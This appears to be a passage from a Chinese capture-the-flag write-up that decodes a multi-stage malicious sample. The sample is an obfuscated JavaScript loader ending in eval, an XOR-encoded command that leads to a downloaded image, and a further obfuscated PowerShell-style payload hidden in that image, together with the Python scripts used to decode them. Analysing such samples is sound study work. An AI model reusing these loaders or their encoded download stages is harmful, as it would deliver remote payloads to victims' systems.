it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>
"""

# 提取所有变量赋值
var_pattern = r'([A-Za-z]{2})=(\d+);'
var_matches = re.findall(var_pattern, obfuscated_js)
var_dict = {name: int(value) for name, value in var_matches}

# 提取String.fromCharCode的参数列表
arg_pattern = r'String\.fromCharCode\(([^)]*)\);'
arg_match = re.search(arg_pattern, obfuscated_js, re.DOTALL)
clean_args = re.sub(r'\s+', '', arg_match.group(1))
args = clean_args.split(',')

# 将变量名转换为ASCII值
ascii_values = [var_dict[arg] for arg in args if arg in var_dict]
decoded_str = ''.join(chr(code) for code in ascii_values)

# 从解码字符串中提取关键数组
array_pattern = r'ioRjQN\(\[([^\]]+)\]\)'
array_matches = re.findall(array_pattern, decoded_str)

if not array_matches:
    print("未找到关键数组")
    exit()

# 解析第一个长数组(713, 712, ...)
long_array = [int(x.strip()) for x in array_matches[0].split(',')]
# 解析第二个短数组(688,684,...)
short_array = [int(x.strip()) for x in array_matches[1].split(',')]

# 实现ioRjQN函数
def ioRjQN(arr):
    return ''.join(chr(x - 601) for x in arr)

# 解码关键数据
decoded_long = ioRjQN(long_array)
decoded_short = ioRjQN(short_array)

print("解码后的长数组内容:")
print(decoded_long)
print("\n解码后的短数组内容:")
print(decoded_short)

# 在长数组中搜索flag
flag_match = re.search(r'LILCTF\{[^}]+\}', decoded_long)
if flag_match:
    print("\n找到flag:", flag_match.group(0))
else:
    print("\n未在数据中找到flag")

得到

接着嗦

hex_str = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fdfdf8f8e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7"

# 将十六进制字符串分割成两个字符一组
bytes_list = [int(hex_str[i:i+2], 16) for i in range(0, len(hex_str), 2)]

# 每个字节与 0xCC (204) 进行 XOR
decoded_bytes = [b ^ 0xCC for b in bytes_list]

# 将结果转换为字符串
decoded_str = ''.join(chr(b) for b in decoded_bytes)

print(decoded_str)

得到一个连接,去下载下来是jpg文件

把jpg的图片用hex打开

丢给ai嗦

# 定义变量映射关系
var_map = {
    'u': '0', 'b': '1', 'q': '2', 'z': '3',
    'o': '4', 'd': '5', 'e': '7', 'i': '8',
    'x': '6', 'l': '9'
}

# 混淆后的长字符串表达式
long_expr = (
    '''
    $g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$x$l+$g$b$b$o+$g$b$b$o+$g$b$b$b+$g$b$b$o+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$x+$g$b$u$b+$g$b$b$o+$g$l$i+$g$b$b$b+$g$b$b$d+$g$b$u$b+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$e+$g$l$e+$g$b$b$o+$g$b$b$u+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$i$u+$g$b$b$o+$g$b$u$b+$g$b$u$q+$g$b$u$b+$g$b$b$o+$g$b$u$b+$g$b$b$u+$g$l$l+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$z+$g$b$u$d+$g$b$u$i+$g$b$u$b+$g$b$b$u+$g$b$b$x+$g$b$u$i+$g$b$q$b+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$u$d+$g$b$b$u+$g$b$b$e+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$l$b+$g$b$b$i+$g$b$b$b+$g$b$u$d+$g$b$u$u+$g$l$z+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$q+$g$b$u$b+$g$b$u$q+$g$b$u$i+$g$b$u$b+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$x+$g$x$d+$g$b$b$d+$g$b$b$d+$g$b$u$b+$g$b$u$l+$g$l$i+$g$b$u$i+$g$b$q$b+$g$l$z+$g$d$i+$g$d$i+$g$e$x+$g$b$b$b+$g$l$e+$g$b$u$u+$g$i$e+$g$b$u$d+$g$b$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$b$d+$g$b$u$o+$g$b$b$e+$g$b$b$x+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$z$q+$g$o$e+$g$b$b$d+$g$z$q+$g$o$e+$g$b$b$x+$g$z$q+$g$d$o+$g$o$i+$g$o$i+$g$z$q+$g$x$q+$g$z$x+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i+$g$z$q+$g$d$u+$g$x$q+$g$z$i+$g$o$l+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$x$e+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$u$i+$g$b$b$b+$g$x$d$z$e$o+$g$o$u+$g$i$e$z$x+$g$b$i$z+$g$l$x$l+$g$x$u+$g$z$q+$g$o$b+$g$i$l$e$i+$g$l$e$z$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$b$x+$g$l$e+$g$b$b$o+$g$b$b$x+$g$i$u+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$e+$g$l$e+$g$b$b$u+$g$b$b$e+$g$l$e+$g$b$u$i+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$q+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$b$u$d+$g$b$b$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$x+$g$b$b$b+$g$b$b$o+$g$b$u$u+$g$b$u$b+$g$b$b$o+$g$i$z+$g$b$b$x+$g$b$q$b+$g$b$u$i+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$u+$g$b$u$d+$g$b$q$u+$g$b$u$b+$g$b$u$u+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$x+$g$l$e+$g$l$l+$g$b$u$e+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$d+$g$o$i+$g$o$i+$g$d$d+$g$d$d+$g$x$e+$g$x$e+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$